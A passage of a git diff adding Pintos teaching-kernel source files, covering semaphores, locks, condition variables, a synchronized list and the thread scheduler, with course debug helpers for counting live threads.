+ IN NO EVENT SHALL THE UNIVERSITY OF CALIFORNIA BE LIABLE TO
+ ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR
+ CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE
+ AND ITS DOCUMENTATION, EVEN IF THE UNIVERSITY OF CALIFORNIA
+ HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ THE UNIVERSITY OF CALIFORNIA SPECIFICALLY DISCLAIMS ANY
+ WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN "AS IS"
+ BASIS, AND THE UNIVERSITY OF CALIFORNIA HAS NO OBLIGATION TO
+ PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
+ MODIFICATIONS.
+*/
+
+#include "threads/synch.h"
+#include <stdio.h>
+#include <string.h>
+#include "threads/interrupt.h"
+#include "threads/thread.h"
+
+/* Initializes semaphore SEMA to VALUE. A semaphore is a
+ nonnegative integer along with two atomic operators for
+ manipulating it:
+
+ - down or "P": wait for the value to become positive, then
+ decrement it.
+
+ - up or "V": increment the value (and wake up one waiting
+ thread, if any). */
+void
+sema_init (struct semaphore *sema, unsigned value)
+{
+ ASSERT (sema != NULL);
+
+ sema->value = value;
+ list_init (&sema->waiters);
+}
+
+/* Down or "P" operation on a semaphore. Waits for SEMA's value
+ to become positive and then atomically decrements it.
+
+ This function may sleep, so it must not be called within an
+ interrupt handler. This function may be called with
+ interrupts disabled, but if it sleeps then the next scheduled
+ thread will probably turn interrupts back on. */
+void
+sema_down (struct semaphore *sema)
+{
+ enum intr_level old_level;
+
+ ASSERT (sema != NULL);
+ ASSERT (!intr_context ());
+
+ old_level = intr_disable ();
+ while (sema->value == 0)
+ {
+ list_push_back (&sema->waiters, &thread_current ()->elem);
+ thread_block ();
+ }
+ sema->value--;
+ intr_set_level (old_level);
+}
+
+/* Down or "P" operation on a semaphore, but only if the
+ semaphore is not already 0. Returns true if the semaphore is
+ decremented, false otherwise.
+
+ This function may be called from an interrupt handler. */
+bool
+sema_try_down (struct semaphore *sema)
+{
+ enum intr_level old_level;
+ bool success;
+
+ ASSERT (sema != NULL);
+
+ old_level = intr_disable ();
+ if (sema->value > 0)
+ {
+ sema->value--;
+ success = true;
+ }
+ else
+ success = false;
+ intr_set_level (old_level);
+
+ return success;
+}
+
+/* Up or "V" operation on a semaphore. Increments SEMA's value
+ and wakes up one thread of those waiting for SEMA, if any.
+
+ This function may be called from an interrupt handler. */
+void
+sema_up (struct semaphore *sema)
+{
+ enum intr_level old_level;
+
+ ASSERT (sema != NULL);
+
+ old_level = intr_disable ();
+ if (!list_empty (&sema->waiters))
+ thread_unblock (list_entry (list_pop_front (&sema->waiters),
+ struct thread, elem));
+ sema->value++;
+ intr_set_level (old_level);
+}
+
+static void sema_test_helper (void *sema_);
+
+/* Self-test for semaphores that makes control "ping-pong"
+ between a pair of threads. Insert calls to printf() to see
+ what's going on. */
+void
+sema_self_test (void)
+{
+ struct semaphore sema[2];
+ int i;
+
+ printf ("Testing semaphores...");
+ sema_init (&sema[0], 0);
+ sema_init (&sema[1], 0);
+ thread_create ("sema-test", PRI_DEFAULT, sema_test_helper, &sema);
+ for (i = 0; i < 10; i++)
+ {
+ sema_up (&sema[0]);
+ sema_down (&sema[1]);
+ }
+ printf ("done.\n");
+}
+
+/* Thread function used by sema_self_test(). */
+static void
+sema_test_helper (void *sema_)
+{
+ struct semaphore *sema = sema_;
+ int i;
+
+ for (i = 0; i < 10; i++)
+ {
+ sema_down (&sema[0]);
+ sema_up (&sema[1]);
+ }
+}
+
+/* Initializes LOCK. A lock can be held by at most a single
+ thread at any given time. Our locks are not "recursive", that
+ is, it is an error for the thread currently holding a lock to
+ try to acquire that lock.
+
+ A lock is a specialization of a semaphore with an initial
+ value of 1. The difference between a lock and such a
+ semaphore is twofold. First, a semaphore can have a value
+ greater than 1, but a lock can only be owned by a single
+ thread at a time. Second, a semaphore does not have an owner,
+ meaning that one thread can "down" the semaphore and then
+ another one "up" it, but with a lock the same thread must both
+ acquire and release it. When these restrictions prove
+ onerous, it's a good sign that a semaphore should be used,
+ instead of a lock. */
+void
+lock_init (struct lock *lock)
+{
+ ASSERT (lock != NULL);
+
+ lock->holder = NULL;
+ sema_init (&lock->semaphore, 1);
+}
+
+/* Acquires LOCK, sleeping until it becomes available if
+ necessary. The lock must not already be held by the current
+ thread.
+
+ This function may sleep, so it must not be called within an
+ interrupt handler. This function may be called with
+ interrupts disabled, but interrupts will be turned back on if
+ we need to sleep. */
+void
+lock_acquire (struct lock *lock)
+{
+ ASSERT (lock != NULL);
+ ASSERT (!intr_context ());
+ ASSERT (!lock_held_by_current_thread (lock));
+
+ sema_down (&lock->semaphore);
+ lock->holder = thread_current ();
+}
+
+/* Tries to acquires LOCK and returns true if successful or false
+ on failure. The lock must not already be held by the current
+ thread.
+
+ This function will not sleep, so it may be called within an
+ interrupt handler. */
+bool
+lock_try_acquire (struct lock *lock)
+{
+ bool success;
+
+ ASSERT (lock != NULL);
+ ASSERT (!lock_held_by_current_thread (lock));
+
+ success = sema_try_down (&lock->semaphore);
+ if (success)
+ lock->holder = thread_current ();
+ return success;
+}
+
+/* Releases LOCK, which must be owned by the current thread.
+
+ An interrupt handler cannot acquire a lock, so it does not
+ make sense to try to release a lock within an interrupt
+ handler. */
+void
+lock_release (struct lock *lock)
+{
+ ASSERT (lock != NULL);
+ ASSERT (lock_held_by_current_thread (lock));
+
+ lock->holder = NULL;
+ sema_up (&lock->semaphore);
+}
+
+/* Returns true if the current thread holds LOCK, false
+ otherwise. (Note that testing whether some other thread holds
+ a lock would be racy.) */
+bool
+lock_held_by_current_thread (const struct lock *lock)
+{
+ ASSERT (lock != NULL);
+
+ return lock->holder == thread_current ();
+}
+
+/* One semaphore in a list. */
+struct semaphore_elem
+ {
+ struct list_elem elem; /* List element. */
+ struct semaphore semaphore; /* This semaphore. */
+ };
+
+/* Initializes condition variable COND. A condition variable
+ allows one piece of code to signal a condition and cooperating
+ code to receive the signal and act upon it. */
+void
+cond_init (struct condition *cond)
+{
+ ASSERT (cond != NULL);
+
+ list_init (&cond->waiters);
+}
+
+/* Atomically releases LOCK and waits for COND to be signaled by
+ some other piece of code. After COND is signaled, LOCK is
+ reacquired before returning. LOCK must be held before calling
+ this function.
+
+ The monitor implemented by this function is "Mesa" style, not
+ "Hoare" style, that is, sending and receiving a signal are not
+ an atomic operation. Thus, typically the caller must recheck
+ the condition after the wait completes and, if necessary, wait
+ again.
+
+ A given condition variable is associated with only a single
+ lock, but one lock may be associated with any number of
+ condition variables. That is, there is a one-to-many mapping
+ from locks to condition variables.
+
+ This function may sleep, so it must not be called within an
+ interrupt handler. This function may be called with
+ interrupts disabled, but interrupts will be turned back on if
+ we need to sleep. */
+void
+cond_wait (struct condition *cond, struct lock *lock)
+{
+ struct semaphore_elem waiter;
+
+ ASSERT (cond != NULL);
+ ASSERT (lock != NULL);
+ ASSERT (!intr_context ());
+ ASSERT (lock_held_by_current_thread (lock));
+
+ sema_init (&waiter.semaphore, 0);
+ list_push_back (&cond->waiters, &waiter.elem);
+ lock_release (lock);
+ sema_down (&waiter.semaphore);
+ lock_acquire (lock);
+}
+
+/* If any threads are waiting on COND (protected by LOCK), then
+ this function signals one of them to wake up from its wait.
+ LOCK must be held before calling this function.
+
+ An interrupt handler cannot acquire a lock, so it does not
+ make sense to try to signal a condition variable within an
+ interrupt handler. */
+void
+cond_signal (struct condition *cond, struct lock *lock UNUSED)
+{
+ ASSERT (cond != NULL);
+ ASSERT (lock != NULL);
+ ASSERT (!intr_context ());
+ ASSERT (lock_held_by_current_thread (lock));
+
+ if (!list_empty (&cond->waiters))
+ sema_up (&list_entry (list_pop_front (&cond->waiters),
+ struct semaphore_elem, elem)->semaphore);
+}
+
+/* Wakes up all threads, if any, waiting on COND (protected by
+ LOCK). LOCK must be held before calling this function.
+
+ An interrupt handler cannot acquire a lock, so it does not
+ make sense to try to signal a condition variable within an
+ interrupt handler. */
+void
+cond_broadcast (struct condition *cond, struct lock *lock)
+{
+ ASSERT (cond != NULL);
+ ASSERT (lock != NULL);
+
+ while (!list_empty (&cond->waiters))
+ cond_signal (cond, lock);
+}
diff --git a/src/threads/synch.h b/src/threads/synch.h
new file mode 100644
index 0000000..a19e88b
--- /dev/null
+++ b/src/threads/synch.h
@@ -0,0 +1,51 @@
+#ifndef THREADS_SYNCH_H
+#define THREADS_SYNCH_H
+
+#include <list.h>
+#include <stdbool.h>
+
+/* A counting semaphore. */
+struct semaphore
+ {
+ unsigned value; /* Current value. */
+ struct list waiters; /* List of waiting threads. */
+ };
+
+void sema_init (struct semaphore *, unsigned value);
+void sema_down (struct semaphore *);
+bool sema_try_down (struct semaphore *);
+void sema_up (struct semaphore *);
+void sema_self_test (void);
+
+/* Lock. */
+struct lock
+ {
+ struct thread *holder; /* Thread holding lock (for debugging). */
+ struct semaphore semaphore; /* Binary semaphore controlling access. */
+ };
+
+void lock_init (struct lock *);
+void lock_acquire (struct lock *);
+bool lock_try_acquire (struct lock *);
+void lock_release (struct lock *);
+bool lock_held_by_current_thread (const struct lock *);
+
+/* Condition variable. */
+struct condition
+ {
+ struct list waiters; /* List of waiting threads. */
+ };
+
+void cond_init (struct condition *);
+void cond_wait (struct condition *, struct lock *);
+void cond_signal (struct condition *, struct lock *);
+void cond_broadcast (struct condition *, struct lock *);
+
+/* Optimization barrier.
+
+ The compiler will not reorder operations across an
+ optimization barrier. See "Optimization Barriers" in the
+ reference guide for more information.*/
+#define barrier() asm volatile ("" : : : "memory")
+
+#endif /* threads/synch.h */
diff --git a/src/threads/synchlist.c b/src/threads/synchlist.c
new file mode 100644
index 0000000..cc1e570
--- /dev/null
+++ b/src/threads/synchlist.c
@@ -0,0 +1,98 @@
+// synchlist.cc
+// Routines for synchronized access to a list.
+//
+// Implemented by surrounding the List abstraction
+// with synchronization routines.
+//
+// Implemented in "monitor"-style -- surround each procedure with a
+// lock acquire and release pair, using condition signal and wait for
+// synchronization.
+//
+// Copyright (c) 1992-1993 The Regents of the University of California.
+// All rights reserved. See copyright.h for copyright notice and limitation
+// of liability and disclaimer of warranty provisions.
+//
+// modified by Vlad Jahundovics for Pintos (translation from C++ to C)
+
+
+#include "copyright.h"
+#include "synchlist.h"
+#include "threads/malloc.h"
+
+//----------------------------------------------------------------------
+// SynchList::SynchList
+// Initialize the data structures needed for a
+// synchronized list, empty to start with.
+// Elements can now be added to the list.
+//----------------------------------------------------------------------
+
+void sl_init(struct SynchList *sl)
+{
+ list_init(&sl->sl_list);
+ lock_init(&sl->sl_lock);
+ cond_init(&sl->sl_empty);
+}
+
+
+//----------------------------------------------------------------------
+// SynchList::~SynchList
+// Remove and de-allocate all elements of the synchronized list
+//----------------------------------------------------------------------
+
+void sl_destroy(struct SynchList *sl)
+{
+ struct list_elem *e;
+ struct SL_element *sl_elem;
+ while(!list_empty(&sl->sl_list)){
+ e = list_pop_front(&sl->sl_list);
+ sl_elem = list_entry(e, struct SL_element, elem);
+ free(sl_elem);
+ }
+}
+
+
+//----------------------------------------------------------------------
+// SynchList::Append
+// Append an "item" to the end of the list. Wake up anyone
+// waiting for an element to be appended.
+//
+// "item" is the thing to put on the list, it can be a pointer to
+// anything.
+//----------------------------------------------------------------------
+
+void sl_append(struct SynchList *sl, void *item)
+{
+ lock_acquire(&sl->sl_lock); // enforce mutual exclusive access to the list
+ struct SL_element *sl_elem = malloc(sizeof(struct SL_element));
+ sl_elem->item = item;
+ list_push_back(&sl->sl_list, &sl_elem->elem);
+ cond_signal(&sl->sl_empty,&sl->sl_lock); // wake up a waiter, if any
+ lock_release(&sl->sl_lock);
+ return;
+}
+
+
+//----------------------------------------------------------------------
+// SynchList::Remove
+// Remove an "item" from the beginning of the list. Wait if
+// the list is empty.
+// Returns:
+// The removed item.
+//----------------------------------------------------------------------
+
+void *sl_remove(struct SynchList *sl)
+{
+ struct list_elem *e;
+ void *item;
+ lock_acquire(&sl->sl_lock); // enforce mutual exclusion
+ while(list_empty(&sl->sl_list)){
+ cond_wait(&sl->sl_empty, &sl->sl_lock); // wait until list isn't empty
+ }
+ e = list_pop_front(&sl->sl_list);
+ struct SL_element *sl_elem = list_entry(e, struct SL_element, elem);
+ item = sl_elem->item;
+ free(sl_elem);
+ lock_release(&sl->sl_lock);
+ return item;
+}
+
diff --git a/src/threads/synchlist.h b/src/threads/synchlist.h
new file mode 100644
index 0000000..ec248c0
--- /dev/null
+++ b/src/threads/synchlist.h
@@ -0,0 +1,39 @@
+// synchlist.h
+// Data structures for synchronized access to a list.
+//
+// Implemented by surrounding the List abstraction
+// with synchronization routines.
+//
+// Copyright (c) 1992-1993 The Regents of the University of California.
+// All rights reserved. See copyright.h for copyright notice and limitation
+// of liability and disclaimer of warranty provisions.
+//
+// modified by Vlad Jahundovics for Pintos (translation from C++ to C)
+
+
+#include "copyright.h"
+#include <list.h>
+#include "threads/synch.h"
+
+// The following class defines a "synchronized list" -- a list for which:
+// these constraints hold:
+// 1. Threads trying to remove an item from a list will
+// wait until the list has an element on it.
+// 2. One thread at a time can access list data structures
+
+struct SynchList {
+ struct list sl_list;
+ struct lock sl_lock;
+ struct condition sl_empty;
+};
+
+struct SL_element
+{
+ struct list_elem elem;
+ void *item;
+};
+
+void sl_init(struct SynchList *sl);
+void sl_destroy(struct SynchList *sl);
+void sl_append(struct SynchList *sl, void *item);
+void *sl_remove(struct SynchList *sl);
diff --git a/src/threads/thread.c b/src/threads/thread.c
new file mode 100644
index 0000000..24b6e8b
--- /dev/null
+++ b/src/threads/thread.c
@@ -0,0 +1,639 @@
+#include "threads/thread.h"
+#include <debug.h>
+#include <stddef.h>
+#include <random.h>
+#include <stdio.h>
+#include <string.h>
+#include "threads/flags.h"
+#include "threads/interrupt.h"
+#include "threads/intr-stubs.h"
+#include "threads/palloc.h"
+#include "threads/switch.h"
+#include "threads/synch.h"
+#include "threads/vaddr.h"
+#ifdef USERPROG
+#include "userprog/process.h"
+#endif
+
+/* Random value for struct thread's `magic' member.
+ Used to detect stack overflow. See the big comment at the top
+ of thread.h for details. */
+#define THREAD_MAGIC 0xcd6abf4b
+
+/* List of processes in THREAD_READY state, that is, processes
+ that are ready to run but not actually running. */
+static struct list ready_list;
+
+/* Idle thread. */
+static struct thread *idle_thread;
+
+/* Initial thread, the thread running init.c:main(). */
+static struct thread *initial_thread;
+
+/* Lock used by allocate_tid(). */
+static struct lock tid_lock;
+
+/* Stack frame for kernel_thread(). */
+struct kernel_thread_frame
+ {
+ void *eip; /* Return address. */
+ thread_func *function; /* Function to call. */
+ void *aux; /* Auxiliary data for function. */
+ };
+
+/* Statistics. */
+static long long idle_ticks; /* # of timer ticks spent idle. */
+static long long kernel_ticks; /* # of timer ticks in kernel threads. */
+static long long user_ticks; /* # of timer ticks in user programs. */
+
+/* Scheduling. */
+#define TIME_SLICE 4 /* # of timer ticks to give each thread. */
+static unsigned thread_ticks; /* # of timer ticks since last yield. */
+
+/* If false (default), use round-robin scheduler.
+ If true, use multi-level feedback queue scheduler.
+ Controlled by kernel command-line option "-o mlfqs". */
+bool thread_mlfqs;
+
+static void kernel_thread (thread_func *, void *aux);
+
+static void idle (void *aux UNUSED);
+static struct thread *running_thread (void);
+static struct thread *next_thread_to_run (void);
+static void init_thread (struct thread *, const char *name, int priority);
+static bool is_thread (struct thread *) UNUSED;
+static void *alloc_frame (struct thread *, size_t size);
+static void schedule (void);
+void schedule_tail (struct thread *prev);
+static tid_t allocate_tid (void);
+
+/* Initializes the threading system (not individual threads!) by
+ transforming the code that's currently running into a thread.
+ This can't work in general and it is possible in this case only
+ because loader.S was careful to put the bottom of the stack at a
+ page boundary.
+
+ Also initializes the run queue and the tid lock.
+
+ After calling this function, be sure to initialize the page
+ allocator before trying to create any threads with
+ thread_create().
+
+ It is not safe to call thread_current() until this function
+ finishes. */
+void
+thread_init (void)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+
+ lock_init (&tid_lock);
+ list_init (&ready_list);
+
+ /* Set up a thread structure for the running thread. */
+ initial_thread = running_thread ();
+ init_thread (initial_thread, "main", PRI_DEFAULT);
+ initial_thread->status = THREAD_RUNNING;
+ initial_thread->tid = allocate_tid ();
+
+ DEBUG_thread_init();
+}
+
+/* Does basic initialization of a newly created thread T as a blocked
+ thread named NAME. */
+static void
+init_thread (struct thread *t, const char *name, int priority)
+{
+ ASSERT (t != NULL);
+ ASSERT (PRI_MIN <= priority && priority <= PRI_MAX);
+ ASSERT (name != NULL);
+
+ memset (t, 0, sizeof *t);
+ t->status = THREAD_BLOCKED;
+ strlcpy (t->name, name, sizeof t->name);
+ t->stack = (uint8_t *) t + PGSIZE;
+ t->priority = priority;
+ t->magic = THREAD_MAGIC;
+
+ /* YES! You may want add stuff here. */
+}
+
+/* Starts preemptive thread scheduling by enabling interrupts.
+ Also creates the idle thread. */
+void
+thread_start (void)
+{
+ /* Create the idle thread. */
+ struct semaphore idle_started;
+ sema_init (&idle_started, 0);
+ thread_create ("idle", PRI_MIN, idle, &idle_started);
+
+ /* Start preemptive thread scheduling. */
+ intr_enable ();
+
+ /* Wait for the idle thread to initialize idle_thread. */
+ sema_down (&idle_started);
+}
+
+/* Called by the timer interrupt handler at each timer tick.
+ Thus, this function runs in an external interrupt context. */
+void
+thread_tick (void)
+{
+ struct thread *t = thread_current ();
+
+ /* Update statistics. */
+ if (t == idle_thread)
+ idle_ticks++;
+#ifdef USERPROG
+ else if (t->pagedir != NULL)
+ user_ticks++;
+#endif
+ else
+ kernel_ticks++;
+
+ /* Enforce preemption. */
+ if (++thread_ticks >= TIME_SLICE)
+ intr_yield_on_return ();
+}
+
+/* Prints thread statistics. */
+void
+thread_print_stats (void)
+{
+ printf ("Thread: %lld idle ticks, %lld kernel ticks, %lld user ticks\n",
+ idle_ticks, kernel_ticks, user_ticks);
+}
+
+/* Creates a new kernel thread named NAME with the given initial
+ PRIORITY, which executes FUNCTION passing AUX as the argument,
+ and adds it to the ready queue. Returns the thread identifier
+ for the new thread, or TID_ERROR if creation fails.
+
+ If thread_start() has been called, then the new thread may be
+ scheduled before thread_create() returns. It could even exit
+ before thread_create() returns. Contrariwise, the original
+ thread may run for any amount of time before the new thread is
+ scheduled. Use a semaphore or some other form of
+ synchronization if you need to ensure ordering.
+
+ The code provided sets the new thread's `priority' member to
+ PRIORITY, but no actual priority scheduling is implemented.
+ Priority scheduling is the goal of Problem 1-3. */
+tid_t
+thread_create (const char *name, int priority,
+ thread_func *function, void *aux)
+{
+ struct thread *t;
+ struct kernel_thread_frame *kf;
+ struct switch_entry_frame *ef;
+ struct switch_threads_frame *sf;
+ tid_t tid;
+
+ /* NO! I do not think there's any reason to modify this function. */
+
+ ASSERT (function != NULL);
+
+ /* Allows to simulate a failure in palloc_get_page below. */
+ if (DEBUG_thread_create_simulate_fail())
+ return TID_ERROR;
+
+ /* Allocate thread. */
+ t = palloc_get_page (PAL_ZERO);
+ if (t == NULL)
+ return TID_ERROR;
+
+ /* Initialize thread. */
+ init_thread (t, name, priority);
+ tid = t->tid = allocate_tid ();
+
+ /* Stack frame for kernel_thread(). */
+ kf = alloc_frame (t, sizeof *kf);
+ kf->eip = NULL;
+ kf->function = function;
+ kf->aux = aux;
+
+ /* Stack frame for switch_entry(). */
+ ef = alloc_frame (t, sizeof *ef);
+ ef->eip = (void (*) (void)) kernel_thread;
+
+ /* Stack frame for switch_threads(). */
+ sf = alloc_frame (t, sizeof *sf);
+ sf->eip = switch_entry;
+
+ /* Add to run queue. */
+ DEBUG_thread_count_up();
+ thread_unblock (t);
+
+ debug("%s#%d: thread_create(\"%s\", ...) RETURNS %d\n",
+ thread_current()->name,
+ thread_current()->tid,
+ name, tid);
+ return tid;
+}
+
+/* Puts the current thread to sleep. It will not be scheduled
+ again until awoken by thread_unblock().
+
+ This function must be called with interrupts turned off. It
+ is usually a better idea to use one of the synchronization
+ primitives in synch.h. */
+void
+thread_block (void)
+{
+ ASSERT (!intr_context ());
+ ASSERT (intr_get_level () == INTR_OFF);
+
+ thread_current ()->status = THREAD_BLOCKED;
+ schedule ();
+}
+
+/* Transitions a blocked thread T to the ready-to-run state.
+ This is an error if T is not blocked. (Use thread_yield() to
+ make the running thread ready.)
+
+ This function does not preempt the running thread. This can
+ be important: if the caller had disabled interrupts itself,
+ it may expect that it can atomically unblock a thread and
+ update other data. */
+void
+thread_unblock (struct thread *t)
+{
+ enum intr_level old_level;
+
+ ASSERT (is_thread (t));
+
+ old_level = intr_disable ();
+ ASSERT (t->status == THREAD_BLOCKED);
+ list_push_back (&ready_list, &t->elem);
+ t->status = THREAD_READY;
+ intr_set_level (old_level);
+}
+
+/* Returns the name of the running thread. */
+const char *
+thread_name (void)
+{
+ return thread_current ()->name;
+}
+
+/* Returns the running thread.
+ This is running_thread() plus a couple of sanity checks.
+ See the big comment at the top of thread.h for details. */
+struct thread *
+thread_current (void)
+{
+ struct thread *t = running_thread ();
+
+ /* Make sure T is really a thread.
+ If either of these assertions fire, then your thread may
+ have overflowed its stack. Each thread has less than 4 kB
+ of stack, so a few big automatic arrays or moderate
+ recursion can cause stack overflow. */
+ ASSERT (is_thread (t));
+ ASSERT (t->status == THREAD_RUNNING);
+
+ return t;
+}
+
+/* Returns the running thread's tid. */
+tid_t
+thread_tid (void)
+{
+ return thread_current ()->tid;
+}
+
+/* Deschedules the current thread and destroys it. Never
+ returns to the caller. */
+void
+thread_exit (void)
+{
+ ASSERT (!intr_context ());
+ DEBUG_thread_count_down();
+
+#ifdef USERPROG
+ process_cleanup ();
+#endif
+
+ /* Just set our status to dying and schedule another process.
+ We will be destroyed during the call to schedule_tail(). */
+ intr_disable ();
+ thread_current ()->status = THREAD_DYING;
+ schedule ();
+ NOT_REACHED ();
+}
+
+/* Yields the CPU. The current thread is not put to sleep and
+ may be scheduled again immediately at the scheduler's whim. */
+void
+thread_yield (void)
+{
+ struct thread *cur = thread_current ();
+ enum intr_level old_level;
+
+ ASSERT (!intr_context ());
+
+ old_level = intr_disable ();
+ if (cur != idle_thread)
+ list_push_back (&ready_list, &cur->elem);
+ cur->status = THREAD_READY;
+ schedule ();
+ intr_set_level (old_level);
+}
+
+/* Sets the current thread's priority to NEW_PRIORITY. */
+void
+thread_set_priority (int new_priority)
+{
+ thread_current ()->priority = new_priority;
+}
+
+/* Returns the current thread's priority. */
+int
+thread_get_priority (void)
+{
+ return thread_current ()->priority;
+}
+
+/* Sets the current thread's nice value to NICE. */
+void
+thread_set_nice (int nice UNUSED)
+{
+ /* Not yet implemented. */
+}
+
+/* Returns the current thread's nice value. */
+int
+thread_get_nice (void)
+{
+ /* Not yet implemented. */
+ return 0;
+}
+
+/* Returns 100 times the system load average. */
+int
+thread_get_load_avg (void)
+{
+ /* Not yet implemented. */
+ return 0;
+}
+
+/* Returns 100 times the current thread's recent_cpu value. */
+int
+thread_get_recent_cpu (void)
+{
+ /* Not yet implemented. */
+ return 0;
+}
+
+/* Idle thread. Executes when no other thread is ready to run.
+
+ The idle thread is initially put on the ready list by
+ thread_start(). It will be scheduled once initially, at which
+ point it initializes idle_thread, "up"s the semaphore passed
+ to it to enable thread_start() to continue, and immediately
+ blocks. After that, the idle thread never appears in the
+ ready list. It is returned by next_thread_to_run() as a
+ special case when the ready list is empty. */
+static void
+idle (void *idle_started_ UNUSED)
+{
+ struct semaphore *idle_started = idle_started_;
+ idle_thread = thread_current ();
+ sema_up (idle_started);
+
+ for (;;)
+ {
+ /* Let someone else run. */
+ intr_disable ();
+ thread_block ();
+
+ /* Re-enable interrupts and wait for the next one.
+
+ The `sti' instruction disables interrupts until the
+ completion of the next instruction, so these two
+ instructions are executed atomically. This atomicity is
+ important; otherwise, an interrupt could be handled
+ between re-enabling interrupts and waiting for the next
+ one to occur, wasting as much as one clock tick worth of
+ time.
+
+ See [IA32-v2a] "HLT", [IA32-v2b] "STI", and [IA32-v3a]
+ 7.11.1 "HLT Instruction". */
+ asm volatile ("sti; hlt" : : : "memory");
+ }
+}
+
+/* Function used as the basis for a kernel thread. */
+static void
+kernel_thread (thread_func *function, void *aux)
+{
+ ASSERT (function != NULL);
+
+ intr_enable (); /* The scheduler runs with interrupts off. */
+ function (aux); /* Execute the thread function. */
+ thread_exit (); /* If function() returns, kill the thread. */
+}
+
+/* Returns the running thread. */
+struct thread *
+running_thread (void)
+{
+ uint32_t *esp;
+
+ /* Copy the CPU's stack pointer into `esp', and then round that
+ down to the start of a page. Because `struct thread' is
+ always at the beginning of a page and the stack pointer is
+ somewhere in the middle, this locates the current thread. */
+ asm ("mov %%esp, %0" : "=g" (esp));
+ return pg_round_down (esp);
+}
+
+/* Returns true if T appears to point to a valid thread. */
+static bool
+is_thread (struct thread *t)
+{
+ return t != NULL && t->magic == THREAD_MAGIC;
+}
+
+/* Allocates a SIZE-byte frame at the top of thread T's stack and
+ returns a pointer to the frame's base. */
+static void *
+alloc_frame (struct thread *t, size_t size)
+{
+ /* Stack data is always allocated in word-size units. */
+ ASSERT (is_thread (t));
+ ASSERT (size % sizeof (uint32_t) == 0);
+
+ t->stack -= size;
+ return t->stack;
+}
+
+/* Chooses and returns the next thread to be scheduled. Should
+ return a thread from the run queue, unless the run queue is
+ empty. (If the running thread can continue running, then it
+ will be in the run queue.) If the run queue is empty, return
+ idle_thread. */
+static struct thread *
+next_thread_to_run (void)
+{
+ if (list_empty (&ready_list))
+ return idle_thread;
+ else
+ return list_entry (list_pop_front (&ready_list), struct thread, elem);
+}
+
+/* Completes a thread switch by activating the new thread's page
+ tables, and, if the previous thread is dying, destroying it.
+
+ At this function's invocation, we just switched from thread
+ PREV, the new thread is already running, and interrupts are
+ still disabled. This function is normally invoked by
+ thread_schedule() as its final action before returning, but
+ the first time a thread is scheduled it is called by
+ switch_entry() (see switch.S).
+
+ It's not safe to call printf() until the thread switch is
+ complete. In practice that means that printf()s should be
+ added at the end of the function.
+
+ After this function and its caller returns, the thread switch
+ is complete. */
+void
+schedule_tail (struct thread *prev)
+{
+ struct thread *cur = running_thread ();
+
+ ASSERT (intr_get_level () == INTR_OFF);
+
+ /* Mark us as running. */
+ cur->status = THREAD_RUNNING;
+
+ /* Start new time slice. */
+ thread_ticks = 0;
+
+#ifdef USERPROG
+ /* Activate the new address space. */
+ process_activate ();
+#endif
+
+ /* If the thread we switched from is dying, destroy its struct
+ thread. This must happen late so that thread_exit() doesn't
+ pull out the rug under itself. (We don't free
+ initial_thread because its memory was not obtained via
+ palloc().) */
+ if (prev != NULL && prev->status == THREAD_DYING && prev != initial_thread)
+ {
+ ASSERT (prev != cur);
+ palloc_free_page (prev);
+ }
+}
+
+/* Schedules a new process. At entry, interrupts must be off and
+ the running process's state must have been changed from
+ running to some other state. This function finds another
+ thread to run and switches to it.
+
+ It's not safe to call printf() until schedule_tail() has
+ completed. */
+static void
+schedule (void)
+{
+ struct thread *cur = running_thread ();
+ struct thread *next = next_thread_to_run ();
+ struct thread *prev = NULL;
+
+ ASSERT (intr_get_level () == INTR_OFF);
+ ASSERT (cur->status != THREAD_RUNNING);
+ ASSERT (is_thread (next));
+
+ if (cur != next)
+ prev = switch_threads (cur, next);
+ schedule_tail (prev);
+}
+
+/* Returns a tid to use for a new thread. */
+static tid_t
+allocate_tid (void)
+{
+ static tid_t next_tid = 1;
+ tid_t tid;
+
+ lock_acquire (&tid_lock);
+ tid = next_tid++;
+ lock_release (&tid_lock);
+
+ return tid;
+}
+
+/* Offset of `stack' member within `struct thread'.
+ Used by switch.S, which can't figure it out on its own. */
+uint32_t thread_stack_ofs = offsetof (struct thread, stack);
+
+
+
+/* DEBUG code added by klaar@ida */
+#include "init.h"
+static unsigned DEBUG_thread_alive_count;
+static struct lock DEBUG_thread_alive_lock;
+static struct condition DEBUG_thread_alive_cond;
+
+void DEBUG_thread_init(void)
+{
+ DEBUG_thread_alive_count = 1; // initial (main) thread
+ lock_init(&DEBUG_thread_alive_lock);
+ cond_init(&DEBUG_thread_alive_cond);
+}
+
+void DEBUG_thread_count_up(void)
+{
+ lock_acquire(&DEBUG_thread_alive_lock);
+ ++DEBUG_thread_alive_count;
+// printf ("# DEBUG: now %d threads running!\n", DEBUG_thread_alive_count);
+ lock_release(&DEBUG_thread_alive_lock);
+}
+
+void DEBUG_thread_count_down(void)
+{
+ lock_acquire(&DEBUG_thread_alive_lock);
+ --DEBUG_thread_alive_count;
+// printf ("# DEBUG: %d threads still running!\n", DEBUG_thread_alive_count);
+ cond_signal(&DEBUG_thread_alive_cond, &DEBUG_thread_alive_lock);
+ lock_release(&DEBUG_thread_alive_lock);
+}
+
+void DEBUG_thread_poweroff_check(bool force_off)
+{
+ lock_acquire(&DEBUG_thread_alive_lock);
+ while ( DEBUG_thread_alive_count != 2 ) // initial and idle thread
+ {
+ if ( thread_current() == initial_thread )
+ {
+ printf ("ERROR: Main thread about to poweroff with %d other "
+ "threads still running!\n"
+ "ERROR: Check your implementation of process_execute() "
+ "and process_wait().\n",
+ DEBUG_thread_alive_count - 1
+ );
+ if ( force_off )
+ break;
+ }
+ else
+ {
+ printf ("# WARNING: About to poweroff with %d other threads still "
+ "running!\nThey will not get the chance to complete.\n",
+ DEBUG_thread_alive_count - 1
+ );
+ break;
+ }
+ cond_wait(&DEBUG_thread_alive_cond, &DEBUG_thread_alive_lock);
+ }
+ lock_release(&DEBUG_thread_alive_lock);
+}
+
+bool DEBUG_thread_create_simulate_fail(void)
+{
+ if ( thread_create_limit == 0 ) /* unlimited */
+ return false;
+ else
+ return --thread_create_limit == 0;
